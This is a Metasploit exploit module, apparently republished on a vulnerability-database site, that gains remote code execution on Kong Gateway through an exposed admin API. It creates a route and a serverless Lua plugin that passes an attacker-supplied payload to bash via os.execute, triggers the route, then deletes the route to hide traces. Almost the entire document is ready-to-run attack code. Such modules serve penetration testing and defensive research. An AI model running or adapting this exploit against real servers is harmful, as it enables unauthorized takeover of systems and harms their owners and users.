`# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Kong Gateway Admin API Remote Code Execution',
'Description' => '
This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
route is deleted, which also deletes the plugin.',
'License' => MSF_LICENSE,
'Author' => ['Graeme Robinson'],
'References' =>
[
['URL', 'https://konghq.com/'],
['URL', 'https://github.com/Kong/kong'],
['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']
],
'Platform' => %w[linux macos],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[[
'Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
]],
'Privileged' => false,
'DisclosureDate' => 'Oct 13 2020',
'DefaultOptions' => { 'RPORT' => 8001 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
))
register_options(
[
OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),
OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),
OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])
],
self.class
)
end
def check_response(response, expected, path, description)
fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
return if response.code == expected
fail_with(Failure::UnexpectedReply,
"Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
end
def create_route
path = normalize_uri(target_uri.path, 'routes')
response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } })
check_response(response, 201, path, 'creating route')
end
def create_plugin
# The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of
# os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.
cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}
path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')
response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } })
check_response(response, 201, path, 'creating plugin')
end
def request_route
path = normalize_uri(target_uri.path, @rand_name)
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
retry_count = 0
begin
response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })
check_response(response, 503, path, 'requesting route')
rescue Msf::Exploit::Failed
maximum_retries = 3
if retry_count <= maximum_retries
retry_count += 1
print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
sleep(retry_count**2)
retry
end
raise
end
end
def delete_route
path = normalize_uri(target_uri.path, 'routes', @rand_name)
# Delete it
response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })
check_response(response, 204, path, 'deleting route')
# Check Whether it deleted
response = send_request_cgi({ 'uri' => path })
check_response(response, 404, path, 'verifying that route has been deleted')
end
def check
@route_cleanup_required = false
# Check admin API
response = send_request_cgi
return CheckCode::Unknown unless response
return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'
# Check public API
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
path = normalize_uri(target_uri.path, @rand_name)
response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
return CheckCode::Unknown unless response
return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'
CheckCode::Appears
end
def exploit
@rand_name = rand_text_alphanumeric(10)
@route_cleanup_required = false
fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
@route_cleanup_required = true
create_route
vprint_good("Created route #{@rand_name}")
create_plugin
vprint_good("Created plugin for route #{@rand_name}")
request_route
vprint_good("Requested route #{@rand_name} using public API")
end
def cleanup
return unless @route_cleanup_required
delete_route
vprint_good("Deleted route #{@rand_name}")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation